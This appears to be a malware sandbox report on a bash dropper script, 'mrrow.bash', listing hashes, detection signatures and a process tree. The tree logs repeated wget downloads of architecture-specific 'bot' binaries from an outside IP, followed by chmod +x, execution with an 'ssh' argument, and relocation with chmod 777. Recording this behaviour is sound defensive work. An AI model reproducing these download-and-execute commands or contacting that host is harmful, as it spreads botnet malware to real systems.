Overview

overview

5

Static

static

mrrow.bash

ubuntu-18.04-amd64

5

mrrow.bash

debian-9-armhf

5

mrrow.bash

debian-9-mips

5

mrrow.bash

debian-9-mipsel

5

Resubmissions

09-08-2022 19:31

220809-x8ezrafabp 5

09-08-2022 19:22

220809-x28cqaehdq 5

09-08-2022 19:21

220809-x2ny3sgec6 5

Analysis

  • max time kernel
    0s
  • max time network
    8s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-08-2022 19:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    mrrow.bash

  • Size

    2KB

  • MD5

    9486bdff70b6ec6243b012a91e90c21e

  • SHA1

    2364e70ee0d49e4e641fa7428958f5907a8c26a3

  • SHA256

    2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826

  • SHA512

    e64e2324c403d967d3d04140bb0eba159e57b83db09fdd50e882a8edc595211837505c86c1d44a65d11b9c3a34c0d02496b3c06f264e1175e248397e9716b4bd

Score
5/10

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/mrrow.bash
    /tmp/mrrow.bash
    1⤵
    • Writes file to tmp directory
    PID:593
    • /usr/bin/wget
      wget http://109.206.241.211/bins/bot.mips
      2⤵
        PID:594
      • /bin/cat
        cat bot.mips
        2⤵
          PID:596
        • /bin/chmod
          chmod +x bot.mips fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
          2⤵
            PID:597
          • ./fuwwyowo
            ./fuwwyowo ssh
            2⤵
              PID:598
            • /usr/bin/wget
              wget http://109.206.241.211/bins/bot.mpsl
              2⤵
                PID:600
              • /bin/cat
                cat bot.mpsl
                2⤵
                  PID:602
                • /bin/chmod
                  chmod +x bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                  2⤵
                    PID:604
                  • ./fuwwyowo
                    ./fuwwyowo ssh
                    2⤵
                      PID:608
                    • /usr/bin/wget
                      wget http://109.206.241.211/bins/bot.arm
                      2⤵
                        PID:610
                      • /bin/cat
                        cat bot.arm
                        2⤵
                          PID:612
                        • /bin/chmod
                          chmod +x bot.arm bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                          2⤵
                            PID:613
                          • ./fuwwyowo
                            ./fuwwyowo ssh
                            2⤵
                              PID:614
                            • /usr/bin/wget
                              wget http://109.206.241.211/bins/bot.arm5
                              2⤵
                                PID:616
                              • /bin/cat
                                cat bot.arm5
                                2⤵
                                  PID:618
                                • /bin/chmod
                                  chmod +x bot.arm bot.arm5 bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                                  2⤵
                                    PID:619
                                  • ./fuwwyowo
                                    ./fuwwyowo ssh
                                    2⤵
                                      PID:620
                                    • /usr/bin/wget
                                      wget http://109.206.241.211/bins/bot.arm6
                                      2⤵
                                        PID:622
                                      • /bin/cat
                                        cat bot.arm6
                                        2⤵
                                          PID:624
                                        • /bin/chmod
                                          chmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                                          2⤵
                                            PID:625
                                          • ./fuwwyowo
                                            ./fuwwyowo ssh
                                            2⤵
                                              PID:626
                                            • /usr/bin/wget
                                              wget http://109.206.241.211/bins/bot.arm7
                                              2⤵
                                                PID:628
                                              • /bin/cat
                                                cat bot.arm7
                                                2⤵
                                                  PID:630
                                                • /bin/chmod
                                                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                                                  2⤵
                                                    PID:631
                                                  • ./fuwwyowo
                                                    ./fuwwyowo ssh
                                                    2⤵
                                                      PID:632
                                                    • /usr/bin/wget
                                                      wget http://109.206.241.211/bins/bot.ppc
                                                      2⤵
                                                        PID:634
                                                      • /bin/cat
                                                        cat bot.ppc
                                                        2⤵
                                                          PID:636
                                                        • /bin/chmod
                                                          chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.ppc fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                                                          2⤵
                                                            PID:637
                                                          • ./fuwwyowo
                                                            ./fuwwyowo ssh
                                                            2⤵
                                                              PID:638
                                                            • /usr/bin/wget
                                                              wget http://109.206.241.211/bins/bot.m68k
                                                              2⤵
                                                                PID:640
                                                              • /bin/cat
                                                                cat bot bot.m68k
                                                                2⤵
                                                                  PID:642
                                                                • /bin/chmod
                                                                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                                                                  2⤵
                                                                    PID:643
                                                                  • ./fuwwyowo
                                                                    ./fuwwyowo ssh
                                                                    2⤵
                                                                      PID:644
                                                                    • /usr/bin/wget
                                                                      wget http://109.206.241.211/bins/bot.sh4
                                                                      2⤵
                                                                        PID:646
                                                                      • /bin/cat
                                                                        cat bot.sh4
                                                                        2⤵
                                                                          PID:648
                                                                        • /bin/chmod
                                                                          chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                                                                          2⤵
                                                                            PID:649
                                                                          • ./fuwwyowo
                                                                            ./fuwwyowo ssh
                                                                            2⤵
                                                                              PID:650
                                                                            • /usr/bin/wget
                                                                              wget http://109.206.241.211/bins/bot.spc
                                                                              2⤵
                                                                                PID:652
                                                                              • /bin/cat
                                                                                cat bot.spc
                                                                                2⤵
                                                                                  PID:654
                                                                                • /bin/chmod
                                                                                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                                                                                  2⤵
                                                                                    PID:655
                                                                                  • ./fuwwyowo
                                                                                    ./fuwwyowo ssh
                                                                                    2⤵
                                                                                      PID:656
                                                                                    • /usr/bin/wget
                                                                                      wget http://109.206.241.211/bins/bot.x86_64
                                                                                      2⤵
                                                                                        PID:658
                                                                                      • /bin/cat
                                                                                        cat bot.x86_64
                                                                                        2⤵
                                                                                          PID:660
                                                                                        • /bin/chmod
                                                                                          chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86_64 fuwwyowo mrrow.bash systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-resolved.service-pOOdTT systemd-private-3c6a296132154b75a0c9689e5ab8717a-systemd-timesyncd.service-xDlk5z
                                                                                          2⤵
                                                                                            PID:661
                                                                                          • ./fuwwyowo
                                                                                            ./fuwwyowo ssh
                                                                                            2⤵
                                                                                              PID:662
                                                                                          • /bin/sh
                                                                                            sh -c "mkdir /go6avsh4wb/ && >/go6avsh4wb/go6avsh4wb && cd /go6avsh4wb/ >/dev/null"
                                                                                            1⤵
                                                                                              PID:665
                                                                                              • /bin/mkdir
                                                                                                mkdir /go6avsh4wb/
                                                                                                2⤵
                                                                                                • Reads runtime system information
                                                                                                PID:666
                                                                                            • /bin/sh
                                                                                              sh -c "mv /tmp/fuwwyowo /go6avsh4wb/go6avsh4wb && chmod 777 /go6avsh4wb/go6avsh4wb >/dev/null"
                                                                                              1⤵
                                                                                                PID:667
                                                                                                • /bin/mv
                                                                                                  mv /tmp/fuwwyowo /go6avsh4wb/go6avsh4wb
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:668
                                                                                                • /bin/chmod
                                                                                                  chmod 777 /go6avsh4wb/go6avsh4wb
                                                                                                  2⤵
                                                                                                    PID:669

                                                                                                Network

                                                                                                MITRE ATT&CK Matrix

                                                                                                Replay Monitor

                                                                                                Loading Replay Monitor...

                                                                                                Downloads